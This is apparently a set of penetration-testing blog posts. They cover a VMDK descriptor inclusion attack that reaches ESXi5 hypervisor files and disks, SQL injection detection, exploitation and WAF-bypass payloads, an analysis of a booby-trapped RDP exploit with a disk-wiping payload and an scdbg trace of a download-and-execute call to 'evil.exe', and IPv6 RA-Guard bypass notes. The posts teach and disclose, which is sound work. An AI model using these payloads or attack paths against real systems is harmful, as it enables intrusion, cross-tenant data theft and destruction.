The steps described in the picture can be part of a cloud deployment process which allows the deployment of custom virtual machines/VMDK files:

1. Upload: The upload of the virtual machine is possible using web interfaces, FTP services, or any kind of API.
2. Copy to hypervisor (optional): This step is optional and depends on the specific environment. However, this step is not necessary to successfully carry out the described attack. It is also common that the actual disk content remains on the storage, specifically in VMware environments using vMotion.
3. Deployment/start of the virtual machine: This can be achieved by using software provided by VMware (e.g. vCenter or vDirector, and so by clicks in an application interface), or by using the VMware API/similar mechanisms (It’s probably a safe assumption that the large-scale deployment/invocation of custom VMDKs is performed by means of some API calls). No matter which technology is used, this deployment is typically performed by automatic mechanisms of the cloud service provider and is part of the cloud infrastructure. The customer can trigger this by e.g. a click in the cloud management web interface.

Within this deployment model, several prerequisites have to be fulfilled in turn (as also laid out here):

• No sufficient input validation performed: If the cloud service provider performs additional sanitizing of the VMDK files (in our case: e.g. removing trailing path directives), the attack will not succeed.
• VMware API or similar mechanisms are used to start the VM on the hypervisor: The vCenter software responds with an error message when a virtual machine including a malicious VMDK file is to be started. However, if the virtual machine using the crafted VMDK  is started (by the automatic mechanisms of the cloud provider) using the VMware API, there is no error message.

If these requirements are fulfilled, it is possible to access data and physical hard drives of an ESXi5 hypervisor from within a guest machine without additional knowledge about the hypervisor or specific interaction with any system besides the described process. Even though there are quite some cloud providers out there which allow the upload of VMDK files, we did not perform in-the-wild testing yet.

As the requirements might seem somewhat comprehensive, from our point of view they are not uncommon for typical cloud environments. In addition, we regard the sheer fact that it is possible to access hypervisor hard drives from within a guest machine as a very big deal and vulnerability in the trust model of the ESXi5 hypervisor – no matter which requirements have to be met.
Some comment to the initial blog post mentioned that “root access to the hypervisor is needed”. It should be explicitly noted that this is not the case. Once the above circumstances are met, the only thing the attacker needs is the ability to upload own VMDK files! All information needed to perform the complete attack can be gathered using crafted VMDK files, as it was laid out in the final complete attack path in the original post.

Stay tuned for another post including screenshots illustrating the complete attack path…

Have a nice one,

Matthias and Pascal

There are some database specifics, every pentester should be aware of, when testing for and exploiting SQLi vulnerabilities. Besides the different string concatenation variants already covered above, there are some other specifics that have to be considered and might turn out useful in some circumstances. For example with Oracle Databases, every SELECT statement needs a following FROM statement even if the desired data is not stored within a database. So when trying to extract e.g. the DB username using a UNION SELECT statement, the DUAL table may be utilized, which should always be available. Another point, if dealing with MySQL, is the possibility to simplify the classic payload

' or 1=1 --

to

' or 1 --

One important difference regarding totally-blind SQLi are the different ways for an equivalent MS-SQL “waitfor delay” in other database management systems. For MySQL (before 5.0.42), the benchmark function may be used. E.g.:

benchmark(3000000,MD5(1))

For later versions:

sleep(5)

Respectively, Oracle supports an HTTP request function, which is expected to generate a delay if pointed to a non existing URL: utl_http.request('http://192.168.66.77/'). Alternatively, the following function may be useful:

DBMS_LOCK.SLEEP(5)

Using database specific test and exploit signatures will also help to identify the used database, which makes all further tests much easier.

Another important difference is the missing MS-SQL “xp_cmdshell” on other DBMSs. However, there were some talks in the past (e.g. at Black Hat Europe 2009 by Bernardo Damele A. G. the author of sqlmap) about the possibility to execute code with MySQL respectively PostgreSQL under certain circumstances (sqlmap supports upload and execution of Metasploit shellcode for MySQL and PostgreSQL). This table summarizes useful SQL functions.

How to Exploit SQL Injection

After identifying vulnerable parameters it is time for exploitation. There are some basic techniques for this task, which will be explained in the context of an Oracle DB. As for data extraction one of the most useful statements is UNION SELECT. However, the UNION SELECT approach doesn’t work in all situations. If,for example, injecting right after the select statement (e.g. “SELECT $INPUT_COLUMN_NAME FROM tablename;” ) and not after a WHERE clause, trying to extract data with UNION SELECT  leads most likely to an SQL error if you are unaware of the exact query. In this simple but sometimes occurring scenario, one solution would be the use of subselects. The advantage of subselects are the fact, that in many cases it is not necessary to know anything about the surrounding query. So supplying

(SELECT user FROM DUAL)

the SQL query doesn’t get broken and ideally prints the desired information. However if the payload is injected into a string, the previously covered string concatenation gets useful. So with a similar query, the attack string could look like:

'|| (SELECT user FROM DUAL) ||'

The previous examples depend on any form of results from the application. In case the application doesn’t print any results of the SQL query, it may still be possible to gather database information if the application behavior can be influenced.Given a registration form, where the supplied username gets checked for existence in the database, the used SQL query might look like:

SELECT username FROM users WHERE username = '$NEW_USERNAME';

This kind of vulnerability is a boolean-based blind SQLi. It is not possible to print any SQL query results, but the application logic can be exploited. So the payload in this case might be:

'|| (SELECT CASE WHEN (SELECT 'abcd' FROM DUAL) = 'abcd' THEN 'new_username' else 'EXISTING_USERNAME' END FROM DUAL)||'

Or in pseudo code:

If abcd equals abcd
return new_username
else
return EXISTING_USERNAME

Obviously this payload does not provide any useful information by now, but it illustrates the possibility to make boolean checks on strings which will be helpful later on during/for extracting real data from the database.

How to get around Web Application Firewalls

In some situations, the application might filter specific attack strings or a Web Application Firewall (WAF) is deployed in front of the web servers/applications. In these cases, being creative is essential. For example, instead of injecting

' or 'a'='a

we already circumvented a WAF by supplying a slightly modified version of this payload:

' or 'a='='a=

If dealing with a MySQL database, using the previously mentioned attack string might also (and did already in practice) help to deceive some filters:

' or 1 --

It is also very likely, that one single quote doesn’t cause any reaction, as of false positive prevention. If it does, the following variation could also help to get through the WAF:

abc'def

In general, using short test strings (and some brainpower) might help to not trigger any filtering rules.

If unsure whether a WAF is in place or not, it is advisable to first verify its existence with some fingerprinting tools. One of them is wafw00f which supports many different vendors. Another tool is tsakwaf, which supports less vendors but includes additional features for WAF circumvention like encoding capabilities for test signatures, that might be useful for SQL injection testing, when a WAF is in place.

… to be continued …

Have a great day and enjoy trying
Michael, Timo and Frank from the Appsec Team

Here you go: HITB2012AMS ERNW VMDK Has Left the Building [PDF, 6MB]

Enjoy and feel free to express your thoughts in the comments.

Best greetings from Amsterdam,
Florian & the crew

In the course of our ongoing cloud security research, we’re continuously thinking about potential attack vectors against public cloud infrastructures. Approaching this enumeration from an external customer’s (speak: attacker’s ) perspective, there are the following possibilities to communicate with and thus send malicious input to typical cloud infrastructures:

• Management interfaces
• Guest/hypervisor interaction
• Network communication
• File uploads

As there are already several successful exploits against management interfaces (e.g. here and here) and guest/hypervisor interaction (see for example this one; yes, this is the funny one with that ridiculous recommendation “Do not allow untrusted users access to your virtual machines.” ), we’re focusing on the upload of files to cloud infrastructures in this post. According to our experience with major Infrastructure-as-a-Service (IaaS) cloud providers, the most relevant file upload possibility is the deployment of already existing virtual machines to the provided cloud infrastructure. However, since a quick additional research shows that most of those allow the upload of VMware-based virtual machines and, to the best of our knowledge, the VMware virtualization file format was not analyzed as for potential vulnerabilities yet, we want to provide an analysis of the relevant file types and present resulting attack vectors.

As there are a lot of VMware related file types, a typical virtual machine upload functionality comprises at least two file types:

• VMX
• VMDK

The VMX file is the configuration file for the characteristics of the virtual machine, such as included devices, names, or network interfaces. VMDK files specify the hard disk of a virtual machine and mainly contain two types of files: The descriptor file, which describes the specific setup of the actual disk file, and several disk files containing the actual file system for the virtual machine. The following listing shows a sample VMDK descriptor file:


# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=a5c61889
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"
# Extent description
RW 33554432 VMFS "machine-flat01.vmdk"
RW 33554432 VMFS "machine-flat02.vmdk"
[...]


For this post, it is of particular importance that the inclusion of the actual disk file containing the raw device data allows the inclusion of multiple files or devices (in the listing, the so-called “Extent description”). The deployment of these files into a (public) cloud/virtualized environment can be broken down into several steps:

1. Upload to the cloud environment: e.g. by using FTP, web interfaces, $WEB_SERVICE_API (such as the Amazon SOAP API, which admittedly does not allow the upload of virtual machines at the moment).
2. Move to the data store: The uploaded virtual machine must be moved to the data store, which is typically some kind of back end storage system/SAN where shares can be attached to hypervisors and guests.
3. Deployment on the hypervisor (“starting the virtual machine”): This can include an additional step of “cloning” the virtual machine from the back end storage system to local hypervisor hard drives.

To analyze this process more thoroughly, we built a small lab based on VMware vSphere 5 including

• an ESXi5 hypervisor,
• NFS-based storage, and
• vCenter,

everything fully patched as of 2012/05/24. The deployment process we used was based on common practices we know from different customer projects: The virtual machine was copied to the storage, which is accessible from the hypervisor, and was deployed on the ESXi5 using the vmware-cmd utility utilizing the VMware API. Thinking about actual attacks in this environment, two main approaches come to mind:

• Fuzzing attacks: Given ERNW’s long tradition in the area of fuzzing, this seems to be a viable option. Still this is not in scope of this post, but we’ll lay out some things tomorrow in our workshop at #HITB2012AMS.
• File Inclusion Attacks.

Focusing on the latter, the descriptor file (see above) contains several fields which are worth a closer look. Even though the specification of the VMDK descriptor file will not be discussed here in detail, the most important field for this post is the so-called Extent Description. The extent descriptions basically contain paths to the actual raw disk files containing the file system of the virtual machine and were included in the listing above.

The most obvious idea is to change the path to the actual disk file to another path, somewhere in the ESX file system, like the good ol’ /etc/passwd:


# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=a5c61889
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"
# Extent description
RW 33554432 VMFS "machine-flat01.vmdk"
RW 0 VMFSRAW "/etc/passwd"


Unfortunately, this does not seem to work and results in an error message as the next screenshot shows:

As we are highly convinced that a healthy dose of perseverance (not to say stubbornness ) is part of any hackers/pentesters attributes, we gave it several other tries. As the file to be included was a raw disk file, we focused on files in binary formats. After some enumeration, we were actually able to include gzip-compressed log files. Since we are now able to access files included in the VMDK files inside the guest virtual machine, this must be clearly stated: We have/can get access to the log files of the ESX hypervisor by deploying a guest virtual machine – a very nice first step! Including further compressed log files, we also included the /bootbank/state.tgz file. This file contains a complete backup of the /etc directory of the hypervisor, including e.g. /etc/shadow – once again, this inclusion was possible from a GUEST machine! As the following screenshot visualizes, the necessary steps to include files from the ESXi5 host include the creation of a loopback device which points to the actual file location (since it is part of the overall VMDK file) and extracting the contents of this loopback device:

The screenshot also shows how it is possible to access information which is clearly belonging to the ESXi5 host from within the guest system. Even though this allows a whole bunch of possible attacks, coming back to the original inclusion of raw disk files, the physical hard drives of the hypervisor qualify as a very interesting target. A look at the device files of the hypervisor (see next screenshot) reveals that the device names are generated in a not-easily-guessable-way:

Using this knowledge we gathered from the hypervisor (this is heavily noted at this point, we’re relying on knowledge that we gathered from our administrative hypervisor access), it was also possible to include the physical hard drives of the hypervisor. Even though we needed additional knowledge for this inclusion, the sheer fact that it is possible for a GUEST virtual machine to access the physical hard drives of the hypervisor is a pretty big deal! As you still might have our stubbornness in mind, it is obvious that we needed to make this inclusion work without knowledge about the hypervisor. Thus let’s provide you with a way to access to any data in a vSphere based cloud environment without further knowledge:

1. Ensure that the following requirements are met:
• ESXi5 hypervisor in use (we’re still researching how to port these vulnerabilities to ESX4)
• Deployment of externally provided (in our case, speak: malicious ) VMDK files is possible
• The cloud provider performs the deployment using the VMware API (e.g. in combination with external storage, which is, as laid out above, a common practice) without further sanitization/input validation/VMDK rewriting.
2. Deploy a virtual machine referencing /scratch/log/hostd.0.gz
3. Access the included /scratch/log/hostd.0.gz within the guest system and grep for ESXi5 device names
4. Deploy another virtual machine referencing the extracted device names
5. Enjoy access to all physical hard drives of the hypervisor

It must be noted that the hypervisor hard drives contain the so-called VMFS, which cannot be easily mounted within e.g. a Linux guest machines, but it can be parsed for data, accessed using VMware specific tools, or exported to be mounted on another hypervisor under our own administrative control.

Summarizing the most relevant and devastating message in short:

VMware vSphere 5 based IaaS cloud environments potentially contain possibilities to access other customers’ data…

We’ll conduct some “testing in the field” in the upcoming weeks and get back to you with the results in a whitepaper to be found on this blog. In any case this type of attacks might provide yet-another path for accessing other tenants’ data in multi-tenant environments, even though more research work is needed here. If you have the opportunity you might join our workshop at #HITB2012AMS.

Have a great day,

Pascal, Enno, Matthias, Daniel

see the CHANGELOG:
v0.6:
- ssl support
- server side fuzzing mode
- command output
- new dizz funktions: lambda_length, csum, lambda_csum, lambda2_csum
- recursive mutation mode
- new dizz objects: fill
- new interaction objects: null_dizz
- reconnect option
- additional fuzzing values

find the sources here (90397f9ec11c8ec3db7f14cb4d38dd39e30f9791)

cheers

/daniel

SQL injection attacks have been well known for a long time and many people think that developers should have fixed these issues years ago, but doing web application pentests almost all the time, we have a slightly different view. Many SQL injection problems  potentially remain undetecteddue to a lack of proper test methodology, so we would like to share our approach and experience and help others in identifying these issues.

SQL injection vulnerabilities arise when untrusted input is incorporated into a SQL query within the source code and they are not limited to web applications. Every server application that processes SQL queries can be vulnerable to this kind of attack and should be tested. SQL injection vulnerabilities can be grouped into the following types:

1. Error-based SQL injection: When testing for the vulnerability the server responds with a database error message like “syntax error”

2. Blind SQL injection: During the test the server either doesn’t reveal any error message at all or responds with a customized standard error message respectively just a change in the response behaviour like showing another web page. As long as one can notice a different behaviour of the application, we call this “Partially Blind SQL Injection”, in case no changes in the response are detected we talk about “Totally Blind SQL Injection”.

3. Client Side SQL injection:SQL injection vulnerabilities are not limited to server applications. Clients that store sensitive data in a local database can be vulnerable to SQL injection attacks as well, when untrusted input is processed. Also HTML5 implements concepts for client side databases like WebSQL (this specification is deprecated) and “Indexed Database API” to work with local databases within the web browser.

As already mentioned a proper test methodology can help to improve the rate of findings, e.g. Bruce Schneiers Attack Tree Model comes to mind as helpful for summarizing the important steps to discover all SQL injection vulnerabilities within an application. Picture 1 shows a very basic attack tree for uncovering SQL injection.

Detecting SQL Injection

As described above, SQL injection vulnerabilities exist in different types. Each of these types requires different attack strings and detection mechanisms, and usually a high degree of manual testing for an extensive detection.
To detect SQL injections, you have to test with some simple signatures like a single apostrophe ('), two single apostrophes (''), arithmetic expressions or database specific procedures.

Error prone vulnerabilities which react with an error message on a single apostrophe are very simple to detect. The best way to verify a successful injection is inserting a single apostrophe which leads to an error message. Afterwards insert two single apostrophes, if the second injection doesn’t return any error messages, it is very likely that a SQL injection vulnerability was found. In Oracle databases you would insert for example “test'” in a search box and you get an error message returned. After inserting “te'||'st” you get all search results matching for the string test. If the database expects that an integer is supplied, apostrophes always result in an invalid query, no matter if they would be used with string concatenation or not. In such a case you could use some arithmetic calculations to verify that they were evaluated by the database. If the id 47 and 58-11 results in the same response, it is very possible that they both produced 47 as a result of a calucation by the database.

In Blind SQL injections you could use the same techniques, but you won’t get any error messages telling you what happened on the database. Instead you may have to use boolean expressions to manipulate the results. For example inserting a “' OR ''='” should lead to a result, whereas “' AND 'x'='” doesn’t return anything (or only a very short response like no datasets found).
Because Totally Blind SQL injections normally wouldn’t affect the response in any way, you have to detect them by measuring the response time depending on the test signature. On Oracle databases a request with “'||utl_http.request('http://192.168.66.77/')||'” should take much more time to return as “'||'“. If the response time is nearly the same, you should try other IP addresses or hostnames. A MySQL database supports a SLEEP command since version 5.0.12. If a you have to wait for a response 20 seconds after you had injected “' UNION SELECT SLEEP(20)--” you would automatically know that you have found a vulnerability and that the used database is a MySQL database with version 5.0.12 or higher.

Some times you will notice that the application (or some intermediate component) filters for characters like an apostrophe or an equal sign. In such a case you should try different encodings and combinations of encodings to bypass such filtering. If you communicate over HTTP with the server, URL encoded strings can be helpful. Try “%27” instead of “' ”or several iterations like “%2527“, “%252527“, .. (“%25” is the URL encoded value of the percent sign). Especially on numeric comparisons you could use the lower or greater sign instead of the equal sign. An “OR 4<8” should also be evaluated to true like the standard signatures “OR 1=1” (which sometimes is filtered).

Choosing the right tool chain is crucial for detecting and exploiting SQL injections. For example the basic requirement for all injections is the complete control over the input values. A fat client or Ajax application which is communicating with a server may have some validation mechanisms, but the server itself accepts all input strings. In such a case it’s important to send the requests using a proxy or something similar, which allows to send every modified value. One of the more powerful tools is the BurpSuite web proxy from Portswigger. The BurpSuite acts as a proxy between the web browser and the web server, logging all requests and responses. In addition to an automated scanner it includes a repeater and a kind of automated repeater (called intruder). With the repeater you are able to send any inputs without restrictions on the client side. The intruder allows to iterate over multiple attack strings and compare the results.

In general every tool can be used which does not prevent you from sending malicious data. Automated tools like scanners or injection frameworks like sqlmap or sqlninja can help to find so called low hanging fruits, but they will never provide the same results as extensive manual testing.

To be continued …

Have a great day and enjoy trying it for yourself
Michael, Timo and Frank from the Appsec Team

Obviously, given I initiated the event, I’m biased but to me it provided great insight from both the talks and the networking with other guys from the telco security field, and it did actually what it was meant for: fostering the exchange between different players in that space, for the sake of sustainably improving its’ overall security posture.

A number of participants suggested performing it again which we hence plan to do, at next year’s Troopers (probably happening in the week 03/12-03/16 [calendar week 11]).

See you there, all the best

Enno

As in 2011 we really liked the conference; there was a number of interesting talks and we met quite some fellows from the IPv6 security space. Btw: we plan to organize a dedicated IPv6 security summit in late 2012 (probably on 6th and 7th of November) in Heidelberg, similar to the Telco Sec Day at Troopers. We’ll annouce details as for this one in some weeks.

Stay tuned & have a great week everybody

Enno

First we take a look into the Microsoft advisory to get some information about the vulnerability itself:

The vulnerability requires some “specifically crafted RDP packets” to be sent to the vulnerable system to trigger the problem. We should spot this trigger in the exploit:

OK, the trigger is there and we also see some shellcode, that will open a bindshell on TCP port 8888. The next step is to figure out, what the exploit is doing with this code:

The exploit code converts a lot of opcodes to the big endian format, that looks reasonable because the exploit claims to work on all affected windows versions. The last step is to verifiy, how all the stuff is sent to the vulnerable system:

We see that target IP address and the RDP port are assigned and collected from the command line, the RDP packet is generated and the “specifically crafted RDP packets” are sent to the target.Finally the shellcode is sent and we are ready to connect to a remote shell that listens on TCP port 8888. Game over .

We have verified the exploit, so it’s time now to run it against some unpatched test system and see, if we can compromise all these unpatched boxes out there …

…JUST KIDDING, never ever do that and I’m not talking about the legal issues this time . It is a quite common mistake by unexperienced testers to work in this way. The exploit code was gathered from an untrusted source, so it needs detailed investigations before you run it, not just a short walk-through. You have to ensure that you understand every line of code completely to avoid being targeted by yourself, even the shellcode and the trigger of the rdp example. So let’s digg a little bit deeper into this.

First we have to extract the shellcode and trigger (the opcodes) from the exploit for further analysis. I prefer a special editor for this task that has all needed functionality (and much more ) built-in. It’s a commercial tool called “010 Editor” that can be obtained here and is available as a windows and MAC OS X version.

Step 1
Copy just the trigger opcodes into a dedicated text file, don’t forget to remove the double quotes. The text files should look almost like this:

trigger:

and shellcode:

Step 2
Use the editors replace function to replace “\x” with “0x” for the trigger and shellcode text files. Take the shellcode as an example, how the opcodes should look now:

Step 3
Mark all this hex data and copy it to the clipboard.

Step 4
Choose “File-New-New Hex File” from the “010 Editors” menu to create an empty hex file.

Step 5
Now choose “Edit-Paste From-Paste from Hex Text” to paste the data as hex data into the new hex file.

Step 6
Save both files (trigger and shellcode) as trigger.sc and shellcode.sc

Now we would be ready to analyze the opcodes with some toolset, but I assume that all of you already spotted some very interesting stuff within the shellcode part :

Yes, it looks like the shellcode doesn’t open a bindshell, it just erases parts of your hard drive on windows and your complete root partition on unix.

This is really GAME OVER, if you would have run the exploit without a detailed analysis on a productive system. This code is referenced with the following code:

def __init__(self, payload, shellcode):
super(RDPsocket, self).__init__(socket.AF_INET, socket.SOCK_STREAM)
self.payload = payload
self.table = __import__("__builtin__").__dict__
self.shellcode = shellcode

and then executed using this code:

seeker = (struct.pack(">I", 0x6576616c)
...
read = self.table[seeker[0]]
return str(read(shellcode)), parsed

But in case that the shellcode wouldn’t have been so easily readable, there are more options for an easy analysis. Based on the shellcode emulation library libemu there are some tools available to find out what the shellcode is doing without reverse engineering it. SCDBG is one that runs on all unix based systems and also on windows, you can grab it here.

Let us see how SCDBG works with a short example shellcode:
scdbg -f UrlDownloadToFile.sc
Loaded 150 bytes from file UrlDownloadToFile.sc
Initilization Complete..
Max Steps: 2000000
Using base offset: 0x401000
40104bLoadLibraryA(urlmon)
40107aGetTempPath(len=104, buf=12fce4)
4010b2URLDownloadToFile(http://blahblah.com/evil.exe0, C:\%TEMP%\dEbW.exe)
4010bdWinExec(c:\%TEMP%\dEbW.exe)
4010cbExitProcess(626801251)

Stepcount 293883

So the example shellcode downloads a malicious file and executes it, let’s have a look at our shellocde now:
scdbg -f shellcode.sc
Loaded 10d bytes from file shellcode.sc
Initilization Complete..
Max Steps: 2000000
Using base offset: 0x401000
401002opcode 69 not supported

Stepcount 2

SCDBG fails to analyze the shellcode (for obvious reasons as we already know), so you can take this result as a good hint, that some stuff is hidden in the code and that you better shouldn’t run it.

Lessons learned

So finally, let’s summarize some lessons that every serious penetration tester should be aware of:

1. Never run any untrusted code (especially exploits) without a detailed analysis.
2. Ensure that you understand every line of code and this also includes the shellcode.
3. Before using untrusted code in a real pentest, verify it in a test environment (virtual machines are a good choice for that).
4. When using exploits on customer systems be aware that you’re running it on one of the assets of your customer! Don’t do that without your customers permission!
5. Your customer trusts your professional knowledge, so it’s your responsibility to avoid damaging any of your customers systems by mistake.

So happy practicing and enjoy your week

Michael

So back to the topic

Our last posts on IPv6 Security go back to the first half of 2011. If you haven’t read them already, now it’s a good time to do so. You can find them here, here, here and here.

In the last post of the series Enno discussed how RA-Guard can be circumvented with clever use of extension headers. As a short reminder, the packet dump looks like this.

The Information of the upper-layer protocol is only present in the second fragment, so RA Guard does not kick in.

As we found out on the Heise IPv6 Kongress last year, this issue can be mitigated with the following parameter in an IPv6 ACL.

deny ipv6 any any undetermined-transport

As a reminder, this parameter drops all IPv6 packets where the upper-layer protocol information cannot be determined.

After the workshop was officially over, Marc and I played a little bit with this ACL Parameter to see if it is working as intended. So I configured the following IPv6 ACL on our beautiful Cisco 4948E:

4948E(config)#ipv6 access-list IPv6

4948E(config-ipv6-acl)#deny ipv6 any any undetermined-transport

4948E(config-ipv6-acl)#permit ipv6 any any

4948E(config)#interface g1/19

4948E(config-if)#ipv6 traffic-filter IPv6 in

We started the attack again with the following parameter:

Apparently nothing happened with my (IPv6 enabled) laptop (which is a good thing )

The corresponding packet dump looked quite unspectacular:

Only the STP packets could be seen, and the flooded router advertisements were dropped by the Switch.

So could this parameter solve the issue with the whole RA mess?

Unfortunately the answer is no. The ACL parameter does mitigate the issue with the fragmented router advertisement. However, the ACL parameter can be circumvented by using overlapping fragments. Unfortunately we couldn’t test this scenario because this wasn’t yet implemented in the THC Tool Suite, but this is just a matter of time…

The IPv6 Packet  basically looks like this:

Fragment 1:

IPv6 Header

Fragmentation Header

Destination Header (8 bytes)

ICMPv6 with Echo Request

Fragment 2:

IPv6 Header

Fragmentation Header with offset == 1 (equals position of 8th byte ==

start of Echo Request in first fragment)

ICMPv6 with RA

In this case it depends on the operating system whether or not the packet is discarded when overlapping fragments are detected. RFC 5722 is very specific on how these should be handled:

“When reassembling an IPv6 datagram, if one or more its
constituent fragments is determined to be an overlapping
fragment,the entire datagram (and any constituent fragments,
including those not yet received) MUST be silently discarded.”

So it is up to the operating system to implement this behavior. We’ll see how things work out

If you’re interested in more IPv6 issues, or simply wanna chat about this topic, meet Enno and me again at the  Heise IPv6 Kongress this year in Frankfurt, where we will give a talk on IPv6 as well.

Have great day,
Chris